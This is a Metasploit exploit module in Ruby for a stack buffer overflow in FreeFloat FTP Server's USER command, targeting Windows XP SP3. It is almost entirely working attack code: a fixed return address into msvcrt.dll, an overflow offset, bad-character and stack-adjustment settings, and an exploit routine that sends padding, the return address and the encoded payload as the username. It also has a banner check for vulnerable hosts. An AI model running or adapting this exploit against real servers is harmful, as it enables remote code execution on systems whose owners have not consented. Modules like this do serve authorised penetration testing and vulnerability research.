Free Float FTP Server USER Command Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'Free Float FTP Server USER Command Buffer Overflow',
        'Description'	=> %q{
          Freefloat FTP Server is prone to an overflow condition. It
          fails to properly sanitize user-supplied input resulting in a
          stack-based buffer overflow. With a specially crafted 'USER'
          command, a remote attacker can potentially have an unspecified
          impact.
        },
        'Platform'	=> 'win',
        'Author' => [
          'D35m0nd142', # Original exploit
          'Doug Prostko <dougtko[at]gmail.com>' # MSF module
        ],
        'License'	=> MSF_LICENSE,
        'References' => [
          [ 'CVE', '2012-10023' ],
          [ 'OSVDB', '69621'],
          [ 'EDB', '23243']
        ],
        'Privileged'	=> false,
        'Payload' => {
          'Space' => 444,
          'DisableNops' => true,
          'BadChars' => "\x00\x0a\x0d",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
        'Targets' => [
          [
            'FreeFloat / Windows XP SP3',
            {
              'Ret' => 0x77c35459, # push esp; ret - mscvrt.dll
              'Offset' => 230
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-06-12',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    connect
    disconnect
    if (banner =~ /FreeFloat/)
      # Software is never updated, so if you run this you're f*cked.
      return Exploit::CheckCode::Vulnerable('FTP banner indicates FreeFloat FTP Server')
    else
      return Exploit::CheckCode::Safe('FTP banner does not match FreeFloat FTP Server')
    end
  end

  def exploit
    connect
    buf = rand_text(target['Offset'])
    buf << [ target['Ret'] ].pack('V')
    buf << rand_text(8)
    buf << payload.encoded
    send_user(buf)
    disconnect
  end
end